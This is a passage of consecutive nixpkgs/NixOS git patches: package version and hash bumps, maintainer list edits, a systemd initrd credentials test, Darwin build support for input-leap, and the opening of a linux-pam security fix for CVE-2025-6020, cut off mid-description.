+++ b/nixos/modules/system/boot/systemd/initrd.nix
@@ -642,7 +642,7 @@ in
         {
           where = "/sysroot/run";
           what = "/run";
-          options = "bind";
+          options = "rbind";
           unitConfig = {
             # See the comment on the mount unit for /run/etc-metadata
             DefaultDependencies = false;

From 8253d26e46cb37dc185e8cdf07e0327c3676a50a Mon Sep 17 00:00:00 2001
From: Peter Marshall <petms@proton.me>
Date: Sat, 10 May 2025 10:26:31 -0400
Subject: [PATCH 1910/4511] nixos/tests/systemd-initrd-credentials: init

(cherry picked from commit dd15d6c24881f973bb77a5a02358b7d239e71723)
---
 nixos/tests/all-tests.nix                  |  1 +
 nixos/tests/systemd-initrd-credentials.nix | 35 ++++++++++++++++++++++
 2 files changed, 36 insertions(+)
 create mode 100644 nixos/tests/systemd-initrd-credentials.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 43a882180036..9e80e2cae6d1 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -1304,6 +1304,7 @@ in
   systemd-escaping = handleTest ./systemd-escaping.nix { };
   systemd-initrd-bridge = handleTest ./systemd-initrd-bridge.nix { };
   systemd-initrd-btrfs-raid = handleTest ./systemd-initrd-btrfs-raid.nix { };
+  systemd-initrd-credentials = handleTest ./systemd-initrd-credentials.nix { };
   systemd-initrd-luks-fido2 = handleTest ./systemd-initrd-luks-fido2.nix { };
   systemd-initrd-luks-keyfile = handleTest ./systemd-initrd-luks-keyfile.nix { };
   systemd-initrd-luks-empty-passphrase = handleTest ./initrd-luks-empty-passphrase.nix {
diff --git a/nixos/tests/systemd-initrd-credentials.nix b/nixos/tests/systemd-initrd-credentials.nix
new file mode 100644
index 000000000000..6e3fb87f8b9b
--- /dev/null
+++ b/nixos/tests/systemd-initrd-credentials.nix
@@ -0,0 +1,35 @@
+import ./make-test-python.nix (
+
+  { lib, pkgs, ... }:
+  {
+    name = "systemd-initrd-credentials";
+
+    nodes.machine =
+      { pkgs, ... }:
+      {
+        virtualisation = {
+          qemu.options = [
+            "-smbios type=11,value=io.systemd.credential:cred-smbios=secret-smbios"
+          ];
+        };
+
+        boot.initrd.availableKernelModules = [ "dmi_sysfs" ];
+
+        boot.kernelParams = [ "systemd.set_credential=cred-cmdline:secret-cmdline" ];
+
+        boot.initrd.systemd = {
+          enable = true;
+        };
+      };
+
+    testScript = ''
+      machine.wait_for_unit("multi-user.target")
+
+      # Check credential passed via kernel command line
+      assert "secret-cmdline" in machine.succeed("systemd-creds --system cat cred-cmdline")
+
+      # Check credential passed via SMBIOS
+      assert "secret-smbios" in machine.succeed("systemd-creds --system cat cred-smbios")
+    '';
+  }
+)

From 6e39bb1fcccc2b07456e3734b5ce2d4816dc9a59 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Tue, 1 Jul 2025 10:38:43 +0200
Subject: [PATCH 1911/4511] emmet-language-server: don't depend on
 environment's node

(cherry picked from commit e0e8849436f7fc352a540d4ccffa76fa4daf9b41)
---
 pkgs/by-name/em/emmet-language-server/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/em/emmet-language-server/package.nix b/pkgs/by-name/em/emmet-language-server/package.nix
index 4ee2a91033e9..61b80c57f34d 100644
--- a/pkgs/by-name/em/emmet-language-server/package.nix
+++ b/pkgs/by-name/em/emmet-language-server/package.nix
@@ -52,8 +52,10 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
     mkdir -p $out/{bin,lib/emmet-language-server}
     mv {node_modules,dist} $out/lib/emmet-language-server
+
+    chmod +x $out/lib/emmet-language-server/dist/index.js
+    patchShebangs $out/lib/emmet-language-server/dist/index.js
     ln -s $out/lib/emmet-language-server/dist/index.js $out/bin/emmet-language-server
-    chmod +x $out/bin/emmet-language-server
 
     runHook postInstall
   '';

From d671ae5b40e363e8a40e1b29b394ac260203014e Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 1 Jul 2025 12:39:50 +0000
Subject: [PATCH 1912/4511] sudo-rs: 0.2.6 -> 0.2.7

https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.7
(cherry picked from commit 158217e5f5286a06219e350e9ca50ed84291ba22)
---
 pkgs/by-name/su/sudo-rs/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/su/sudo-rs/package.nix b/pkgs/by-name/su/sudo-rs/package.nix
index ed9ec2611308..7e043d29fce0 100644
--- a/pkgs/by-name/su/sudo-rs/package.nix
+++ b/pkgs/by-name/su/sudo-rs/package.nix
@@ -13,16 +13,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sudo-rs";
-  version = "0.2.6";
+  version = "0.2.7";
 
   src = fetchFromGitHub {
     owner = "trifectatechfoundation";
     repo = "sudo-rs";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-vZv3IVSW6N0puoWJBYQPmNntgHPt9SPV07TEuWN/bHw=";
+    hash = "sha256-02ODKMumYUKcmSfPAiCwpRph5+Zy+g5uqqbJ9ThRxRg=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-/CbU2ds2VQ2IXx7GKxRO3vePzLXJXabA1FcyIGPsngw=";
+  cargoHash = "sha256-o3//zJxB6CNHQl1DtfmFnSBP9npC4I9/hRuzpWrKoNs=";
 
   nativeBuildInputs = [
     installShellFiles

From 6ddf6f8207b036c32b3cf1e62ca0d44f77a39624 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Tue, 1 Jul 2025 07:39:10 +0200
Subject: [PATCH 1913/4511] proton-ge-bin: GE-Proton10-4 -> GE-Proton10-7

(cherry picked from commit a8502f891cbcee904ca7f2e353e2b0943e50603a)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index d5bf56c940f4..e0108e5c3f2f 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-4";
+  version = "GE-Proton10-7";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-Si/CQ2PINfhmsC+uW3iFBUoSczZdkqwCZ8FAFuipu68=";
+    hash = "sha256-XlZVQ+xYgg1H1xAHBcXZmF5//7k6w9NNspXJ/1KhzX8=";
   };
 
   dontUnpack = true;

From 1d7539a97cb8f27ebb9301909405096e0687d9fa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 14:28:07 +0000
Subject: [PATCH 1914/4511] lunatask: 2.0.22 -> 2.1.1

(cherry picked from commit 2ced63f941dc13fa7ef8214d80b7a90f16939ff2)
---
 pkgs/by-name/lu/lunatask/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lu/lunatask/package.nix b/pkgs/by-name/lu/lunatask/package.nix
index acc3b4c5eb78..a63ae4563c62 100644
--- a/pkgs/by-name/lu/lunatask/package.nix
+++ b/pkgs/by-name/lu/lunatask/package.nix
@@ -6,12 +6,12 @@
 }:
 
 let
-  version = "2.0.22";
+  version = "2.1.1";
   pname = "lunatask";
 
   src = fetchurl {
     url = "https://github.com/lunatask/lunatask/releases/download/v${version}/Lunatask-${version}.AppImage";
-    hash = "sha256-5V4h7x9NMZPAEinWmvhcBj8WrtKXp7naacSaMOEzwl0=";
+    hash = "sha256-2ks5sqE0NuVa3fyJzKJ/466Ztq9M/RhDxHZCL8tSwo4=";
   };
 
   appimageContents = appimageTools.extract {

From 0d428dab4414c877458438d4191fca10272f4301 Mon Sep 17 00:00:00 2001
From: Greizgh <greizgh@ephax.org>
Date: Mon, 23 Jun 2025 14:52:43 +0200
Subject: [PATCH 1915/4511] seafile: remove myself from maintainers

I do not use seafile anymore and won't spend energy working on it.

(cherry picked from commit fd3d596a1c55593529681dd3037f25c2a726c3b8)
---
 nixos/modules/services/networking/seafile.nix                 | 1 -
 pkgs/applications/networking/seafile-client/default.nix       | 1 -
 pkgs/by-name/li/libsearpc/package.nix                         | 2 +-
 pkgs/by-name/se/seafile-server/libevhtp.nix                   | 1 -
 pkgs/by-name/se/seafile-server/package.nix                    | 1 -
 pkgs/by-name/se/seafile-shared/package.nix                    | 1 -
 pkgs/by-name/se/seahub/package.nix                            | 1 -
 pkgs/development/python-modules/django-formtools/default.nix  | 1 -
 pkgs/development/python-modules/django-statici18n/default.nix | 1 -
 9 files changed, 1 insertion(+), 9 deletions(-)

diff --git a/nixos/modules/services/networking/seafile.nix b/nixos/modules/services/networking/seafile.nix
index ca8d41492e3d..3d6ac2bfac8d 100644
--- a/nixos/modules/services/networking/seafile.nix
+++ b/nixos/modules/services/networking/seafile.nix
@@ -542,7 +542,6 @@ in
   };
 
   meta.maintainers = with lib.maintainers; [
-    greizgh
     schmittlauch
   ];
 }
diff --git a/pkgs/applications/networking/seafile-client/default.nix b/pkgs/applications/networking/seafile-client/default.nix
index 94495361d60c..7b3ae093fcc1 100644
--- a/pkgs/applications/networking/seafile-client/default.nix
+++ b/pkgs/applications/networking/seafile-client/default.nix
@@ -52,7 +52,6 @@ stdenv.mkDerivation rec {
     platforms = platforms.linux;
     maintainers = with maintainers; [
       schmittlauch
-      greizgh
     ];
     mainProgram = "seafile-applet";
   };
diff --git a/pkgs/by-name/li/libsearpc/package.nix b/pkgs/by-name/li/libsearpc/package.nix
index 219c5221ca02..726aa9ac467b 100644
--- a/pkgs/by-name/li/libsearpc/package.nix
+++ b/pkgs/by-name/li/libsearpc/package.nix
@@ -38,6 +38,6 @@ stdenv.mkDerivation rec {
     mainProgram = "searpc-codegen.py";
     license = lib.licenses.lgpl3;
     platforms = lib.platforms.linux;
-    maintainers = with lib.maintainers; [ greizgh ];
+    maintainers = [ ];
   };
 }
diff --git a/pkgs/by-name/se/seafile-server/libevhtp.nix b/pkgs/by-name/se/seafile-server/libevhtp.nix
index 9428ceac86ed..07f0df1cd8f6 100644
--- a/pkgs/by-name/se/seafile-server/libevhtp.nix
+++ b/pkgs/by-name/se/seafile-server/libevhtp.nix
@@ -31,7 +31,6 @@ stdenv.mkDerivation {
     homepage = "https://github.com/criticalstack/libevhtp";
     license = licenses.bsd3;
     maintainers = with maintainers; [
-      greizgh
       schmittlauch
       melvyn2
     ];
diff --git a/pkgs/by-name/se/seafile-server/package.nix b/pkgs/by-name/se/seafile-server/package.nix
index c30fa38965a5..05d6f045ccba 100644
--- a/pkgs/by-name/se/seafile-server/package.nix
+++ b/pkgs/by-name/se/seafile-server/package.nix
@@ -95,7 +95,6 @@ stdenv.mkDerivation {
     license = licenses.agpl3Plus;
     platforms = platforms.linux;
     maintainers = with maintainers; [
-      greizgh
       schmittlauch
       melvyn2
     ];
diff --git a/pkgs/by-name/se/seafile-shared/package.nix b/pkgs/by-name/se/seafile-shared/package.nix
index 4e9f5c40d3f3..2fb2891eecd5 100644
--- a/pkgs/by-name/se/seafile-shared/package.nix
+++ b/pkgs/by-name/se/seafile-shared/package.nix
@@ -62,7 +62,6 @@ stdenv.mkDerivation rec {
     license = licenses.gpl2Plus;
     platforms = platforms.linux;
     maintainers = with maintainers; [
-      greizgh
       schmittlauch
     ];
   };
diff --git a/pkgs/by-name/se/seahub/package.nix b/pkgs/by-name/se/seahub/package.nix
index b1df123cd814..7b409165da1c 100644
--- a/pkgs/by-name/se/seahub/package.nix
+++ b/pkgs/by-name/se/seahub/package.nix
@@ -79,7 +79,6 @@ python3.pkgs.buildPythonApplication rec {
     homepage = "https://github.com/haiwen/seahub";
     license = licenses.asl20;
     maintainers = with maintainers; [
-      greizgh
       schmittlauch
       melvyn2
     ];
diff --git a/pkgs/development/python-modules/django-formtools/default.nix b/pkgs/development/python-modules/django-formtools/default.nix
index 0bd2d30e3413..5f74ef1802cb 100644
--- a/pkgs/development/python-modules/django-formtools/default.nix
+++ b/pkgs/development/python-modules/django-formtools/default.nix
@@ -40,7 +40,6 @@ buildPythonPackage rec {
     changelog = "https://github.com/jazzband/django-formtools/blob/master/docs/changelog.rst";
     license = licenses.bsd3;
     maintainers = with maintainers; [
-      greizgh
       schmittlauch
     ];
   };
diff --git a/pkgs/development/python-modules/django-statici18n/default.nix b/pkgs/development/python-modules/django-statici18n/default.nix
index e48234004cc6..d7b2e85fe2a3 100644
--- a/pkgs/development/python-modules/django-statici18n/default.nix
+++ b/pkgs/development/python-modules/django-statici18n/default.nix
@@ -48,7 +48,6 @@ buildPythonPackage rec {
     homepage = "https://github.com/zyegfryed/django-statici18n";
     license = licenses.bsd3;
     maintainers = with maintainers; [
-      greizgh
       schmittlauch
     ];
   };

From 23a129de9e4a7027a79216b19e0c99f6e8ec145b Mon Sep 17 00:00:00 2001
From: Christoph Hollizeck <christoph.hollizeck@hey.com>
Date: Tue, 1 Jul 2025 19:54:20 +0200
Subject: [PATCH 1916/4511] microsoft-edge: 137.0.3296.93 -> 138.0.3351.55

(cherry picked from commit 8c54a012c6907600cd1cad9da363396feafe833c)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 70278f9645b9..45741183cee2 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -179,11 +179,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "137.0.3296.93";
+  version = "138.0.3351.55";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-SC8h6UQ/ee5ZlQWAZsmC1Co5Ky4kaXuoMpvVZtTIMHQ=";
+    hash = "sha256-SZCtAjhzY8BqwM9IMS2081RWxRT+4gQgrjve7avM7Bo=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 1d2d61d586c89a249b836c18d98724d6461af1fe Mon Sep 17 00:00:00 2001
From: "R. RyanTM" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 08:47:57 +1000
Subject: [PATCH 1917/4511] firefox-unwrapped: 140.0.1 -> 140.0.2 (#421627)

https://www.mozilla.org/en-US/firefox/140.0.2/releasenotes/
(cherry picked from commit 403add6263c14f9b253fd5da4ce2226ed4541fdd)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index eda7151c6c5a..d1209af3b1c5 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "140.0.1";
+  version = "140.0.2";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "d521405f49a38b8449a24f90e5ea14d4337085918779d93d282cec80b2627f381648529d6f69930eb6e90e37302797b0049fec5846d25dc40f556bbd86d55ef1";
+    sha512 = "11d3295c82835668f43a888bd5aada22248776e033aecc7558348e6ee26626bf4b65bbaae2680f7285a6b2b6209ec5d4aea453f1e0603544cd48bf45c735b2ea";
   };
 
   meta = {

From c9b7e999b4a94561ce5886c8076f2fc23a6901f4 Mon Sep 17 00:00:00 2001
From: Tom McLaughlin <tom@codedown.io>
Date: Wed, 25 Jun 2025 10:00:56 -0700
Subject: [PATCH 1918/4511] input-leap: build on Darwin at 3.0.3

Fixes: #419996
(cherry picked from commit e8de340ddb5b48062e71e38bb202cef95df5f2f4)
---
 pkgs/applications/misc/input-leap/default.nix | 11 ++++++++--
 .../misc/input-leap/macos-no-dmg.patch        | 22 +++++++++++++++++++
 2 files changed, 31 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/applications/misc/input-leap/macos-no-dmg.patch

diff --git a/pkgs/applications/misc/input-leap/default.nix b/pkgs/applications/misc/input-leap/default.nix
index a1b58f633b78..3592f13d80a8 100644
--- a/pkgs/applications/misc/input-leap/default.nix
+++ b/pkgs/applications/misc/input-leap/default.nix
@@ -4,7 +4,7 @@
   fetchFromGitHub,
   cmake,
 
-  withLibei ? true,
+  withLibei ? !stdenv.hostPlatform.isDarwin,
 
   avahi,
   curl,
@@ -19,6 +19,7 @@
   libei,
   libportal,
   openssl,
+  pkgsStatic,
   pkg-config,
   qtbase,
   qttools,
@@ -38,6 +39,8 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
+  patches = [ ./macos-no-dmg.patch ];
+
   nativeBuildInputs = [
     pkg-config
     cmake
@@ -45,6 +48,7 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
     qttools
   ];
+
   buildInputs =
     [
       curl
@@ -62,6 +66,9 @@ stdenv.mkDerivation rec {
     ++ lib.optionals withLibei [
       libei
       libportal
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      pkgsStatic.openssl
     ];
 
   cmakeFlags = [
@@ -94,6 +101,6 @@ stdenv.mkDerivation rec {
       twey
       shymega
     ];
-    platforms = lib.platforms.linux;
+    platforms = lib.platforms.linux ++ lib.platforms.darwin;
   };
 }
diff --git a/pkgs/applications/misc/input-leap/macos-no-dmg.patch b/pkgs/applications/misc/input-leap/macos-no-dmg.patch
new file mode 100644
index 000000000000..13896cc90fff
--- /dev/null
+++ b/pkgs/applications/misc/input-leap/macos-no-dmg.patch
@@ -0,0 +1,22 @@
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index ab4e56f2..d01d946d 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -289,17 +289,6 @@ endmacro (configure_files)
+ # Make a bundle for mac os
+ if (APPLE)
+     set (CMAKE_INSTALL_RPATH "@loader_path/../Libraries;@loader_path/../Frameworks")
+-    set(INPUTLEAP_BUNDLE_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/dist/macos/bundle)
+-    set(INPUTLEAP_BUNDLE_DIR ${CMAKE_BINARY_DIR}/bundle)
+-    set(INPUTLEAP_BUNDLE_APP_DIR ${INPUTLEAP_BUNDLE_DIR}/InputLeap.app)
+-    set(INPUTLEAP_BUNDLE_BINARY_DIR ${INPUTLEAP_BUNDLE_APP_DIR}/Contents/MacOS)
+-
+-    configure_files(${INPUTLEAP_BUNDLE_SOURCE_DIR} ${INPUTLEAP_BUNDLE_DIR})
+-
+-    add_custom_target(InputLeap_MacOS ALL
+-                      bash build_dist.sh
+-                      DEPENDS input-leap input-leaps input-leapc
+-                      WORKING_DIRECTORY ${INPUTLEAP_BUNDLE_DIR})
+ elseif (UNIX AND NOT APPLE)
+     install(FILES doc/input-leapc.1 doc/input-leaps.1 DESTINATION share/man/man1)
+ 

From 95ea759dabf40dfd5de014bbc7ce004f6ff94310 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Sun, 29 Jun 2025 10:03:59 +0200
Subject: [PATCH 1919/4511] nodejs_24: fix test

(cherry picked from commit f4c47d873d7f926075ecf9fae823990f6326e8ef)
---
 pkgs/development/web/nodejs/v24.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index b6069702ca6a..9b44178afda9 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -51,6 +51,13 @@ buildNodejs {
       ./node-npm-build-npm-package-logic.patch
       ./use-correct-env-in-tests.patch
       ./bin-sh-node-run-v22.patch
+
+      # Fix for flaky test
+      # TODO: remove when included in a release
+      (fetchpatch2 {
+        url = "https://github.com/nodejs/node/commit/cd685fe3b6b18d2a1433f2635470513896faebe6.patch?full_index=1";
+        hash = "sha256-KA7WBFnLXCKx+QVDGxFixsbj3Y7uJkAKEUTeLShI1Xo=";
+      })
     ]
     ++ lib.optionals (!stdenv.buildPlatform.isDarwin) [
       # test-icu-env is failing without the reverts

From 0e83f72d1a41ff1d280878dfc74b554c9e1c0027 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 15:02:41 +0000
Subject: [PATCH 1920/4511] plattenalbum: 2.3.0 -> 2.3.1

(cherry picked from commit 417d4869dac90e6e5ceeb47a609dbb16979b210b)
---
 pkgs/by-name/pl/plattenalbum/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pl/plattenalbum/package.nix b/pkgs/by-name/pl/plattenalbum/package.nix
index aa189bf57cac..8bc79c470850 100644
--- a/pkgs/by-name/pl/plattenalbum/package.nix
+++ b/pkgs/by-name/pl/plattenalbum/package.nix
@@ -13,14 +13,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "plattenalbum";
-  version = "2.3.0";
+  version = "2.3.1";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "SoongNoonien";
     repo = "plattenalbum";
     tag = "v${version}";
-    hash = "sha256-5/4t7tnMGuy5TIIdGN5hm0I0O0oC3FC503PNpnUHkV8=";
+    hash = "sha256-8Oa/tFow+rW96AUQEQXaI4ybBFce0QDiRFt2V0X/uuo=";
   };
 
   nativeBuildInputs = [

From 444508f2f482b4ddf952ef849006945ebd392f75 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Wed, 21 May 2025 10:08:29 +0200
Subject: [PATCH 1921/4511] python312Packages.onnxruntime: 1.21.0 -> 1.22.0

Diff: https://github.com/microsoft/onnxruntime/compare/v1.21.0...v1.22.0

Changelog: https://github.com/microsoft/onnxruntime/releases/tag/v1.22.0
(cherry picked from commit 95e1bc4b4d9848b8a862a847c80aa25f1134697d)
---
 pkgs/by-name/on/onnxruntime/package.nix | 31 +++++++++----------------
 1 file changed, 11 insertions(+), 20 deletions(-)

diff --git a/pkgs/by-name/on/onnxruntime/package.nix b/pkgs/by-name/on/onnxruntime/package.nix
index 71891ad7f149..4dfa54fd52ed 100644
--- a/pkgs/by-name/on/onnxruntime/package.nix
+++ b/pkgs/by-name/on/onnxruntime/package.nix
@@ -29,14 +29,14 @@
 }@inputs:
 
 let
-  version = "1.21.0";
+  version = "1.22.0";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "onnxruntime";
     tag = "v${version}";
-    hash = "sha256-BaHXpK6Ek+gsld7v+OBM+C3FjrPiyMQYP1liv7mEjho=";
     fetchSubmodules = true;
+    hash = "sha256-fcTvMsEgO3tHOvCKCAqkO/bpZX4tcJHq9ZqpZH+uMqs=";
   };
 
   stdenv = throw "Use effectiveStdenv instead";
@@ -104,20 +104,11 @@ effectiveStdenv.mkDerivation rec {
   pname = "onnxruntime";
   inherit src version;
 
-  patches =
-    [
-      # drop with the next update
-      # https://github.com/microsoft/onnxruntime/pull/23939
-      (fetchpatch {
-        url = "https://github.com/microsoft/onnxruntime/commit/55553703eaa8cd01d2b01cc21171a0ea515c888a.patch";
-        hash = "sha256-gL1rMNUcteKcjLmdJ+0r67rvNrC31bAyKYx4aeseWkM=";
-      })
-    ]
-    ++ lib.optionals cudaSupport [
-      # We apply the referenced 1064.patch ourselves to our nix dependency.
-      #  FIND_PACKAGE_ARGS for CUDA was added in https://github.com/microsoft/onnxruntime/commit/87744e5 so it might be possible to delete this patch after upgrading to 1.17.0
-      ./nvcc-gsl.patch
-    ];
+  patches = lib.optionals cudaSupport [
+    # We apply the referenced 1064.patch ourselves to our nix dependency.
+    #  FIND_PACKAGE_ARGS for CUDA was added in https://github.com/microsoft/onnxruntime/commit/87744e5 so it might be possible to delete this patch after upgrading to 1.17.0
+    ./nvcc-gsl.patch
+  ];
 
   nativeBuildInputs =
     [
@@ -287,7 +278,7 @@ effectiveStdenv.mkDerivation rec {
     };
   };
 
-  meta = with lib; {
+  meta = {
     description = "Cross-platform, high performance scoring engine for ML models";
     longDescription = ''
       ONNX Runtime is a performance-focused complete scoring engine
@@ -301,9 +292,9 @@ effectiveStdenv.mkDerivation rec {
     homepage = "https://github.com/microsoft/onnxruntime";
     changelog = "https://github.com/microsoft/onnxruntime/releases/tag/v${version}";
     # https://github.com/microsoft/onnxruntime/blob/master/BUILD.md#architectures
-    platforms = platforms.unix;
-    license = licenses.mit;
-    maintainers = with maintainers; [
+    platforms = lib.platforms.unix;
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [
       puffnfresh
       ck3d
       cbourjau

From 7084e4dcbacfcee9ea3e788ad7d9f4445857dac4 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 1 Jul 2025 18:13:51 +0200
Subject: [PATCH 1922/4511] element-web: 1.11.104 -> 1.11.105

Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.105
Full changelog: https://github.com/element-hq/element-web/compare/v1.11.104...v1.11.105

(cherry picked from commit daad780c9036bba40ebeac971416849759aaa2b9)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index 0328f2f9bcd6..b2d9c2ba0ce0 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.104";
+  "version" = "1.11.105";
   "hashes" = {
-    "webSrcHash" = "sha256-OwkJccflilM98SklTb6yt6t2/71ITQXi3br7ICZ8z0k=";
-    "webYarnHash" = "sha256-PIxue2M0Hn8MeTRt7qJBtVJZ4hJzBbc0za+c7MEDbio=";
+    "webSrcHash" = "sha256-IGpSpv1dfOnT6AQGzRYWE/eGW262i7mYGC4DmUnMwlk=";
+    "webYarnHash" = "sha256-cigiAKAJaOSCVaPThGhGi0HZYMZY8i3nnBT5PS7QVNg=";
   };
 }

From 8b582a3872455cd3b5181b9e874642974363ceb1 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 1 Jul 2025 18:15:05 +0200
Subject: [PATCH 1923/4511] element-desktop: 1.11.104 -> 1.11.105

Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.105
Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.104...v1.11.105

(cherry picked from commit 0c659288fcf059630faf42605f80eb0a1db98fa9)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index d32c69e661d8..f3884f8c617f 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.104";
+  "version" = "1.11.105";
   "hashes" = {
-    "desktopSrcHash" = "sha256-y2lPa7Qj+y4XtfvGtJ8mJZ343syDquTqjkqeuqCUMYU=";
-    "desktopYarnHash" = "sha256-L1Yha0o4T5HefoWdRcfqMB/gOPEoQoY4iSED1zWK40g=";
+    "desktopSrcHash" = "sha256-9btwbHHl1tiUBTMBltNdy8K/PHJOf3HKPWEPyAYz6+s=";
+    "desktopYarnHash" = "sha256-VumuYbbJlJCtmENeR/qHGl9jhF1xgIUib5CW7kGdToo=";
   };
 }

From fa4d08eaeadca2bf67e2eb9bbb0dfa5c4d758e47 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Thu, 19 Jun 2025 15:24:17 +0200
Subject: [PATCH 1924/4511] linux-pam: apply patch for CVE-2025-6020

(cherry picked from commit 26c092bbc7d8b2b15d2d7a4edbc2b29228114d9a)
---
 pkgs/by-name/li/linux-pam/CVE-2025-6020.patch | 1315 +++++++++++++++++
 pkgs/by-name/li/linux-pam/package.nix         |    8 +
 2 files changed, 1323 insertions(+)
 create mode 100644 pkgs/by-name/li/linux-pam/CVE-2025-6020.patch

diff --git a/pkgs/by-name/li/linux-pam/CVE-2025-6020.patch b/pkgs/by-name/li/linux-pam/CVE-2025-6020.patch
new file mode 100644
index 000000000000..faa8e440334c
--- /dev/null
+++ b/pkgs/by-name/li/linux-pam/CVE-2025-6020.patch
@@ -0,0 +1,1315 @@
+From 8a44d6aecab1239b79f7b2455d0a70603df2d33c Mon Sep 17 00:00:00 2001
+From: Olivier Bal-Petre <olivier.bal-petre@ssi.gouv.fr>
+Date: Tue, 4 Mar 2025 14:37:02 +0100
+Subject: [PATCH] pam_namespace: fix potential privilege escalation
+
+Existing protection provided by protect_dir() and protect_mount() were
+bind mounting on themselves all directories part of the to-be-secured
+paths. However, this works *only* against attacks executed by processes
+in the same mount namespace as the one the mountpoint was created in.
+Therefore, a user with an out-of-mount-namespace access, or multiple
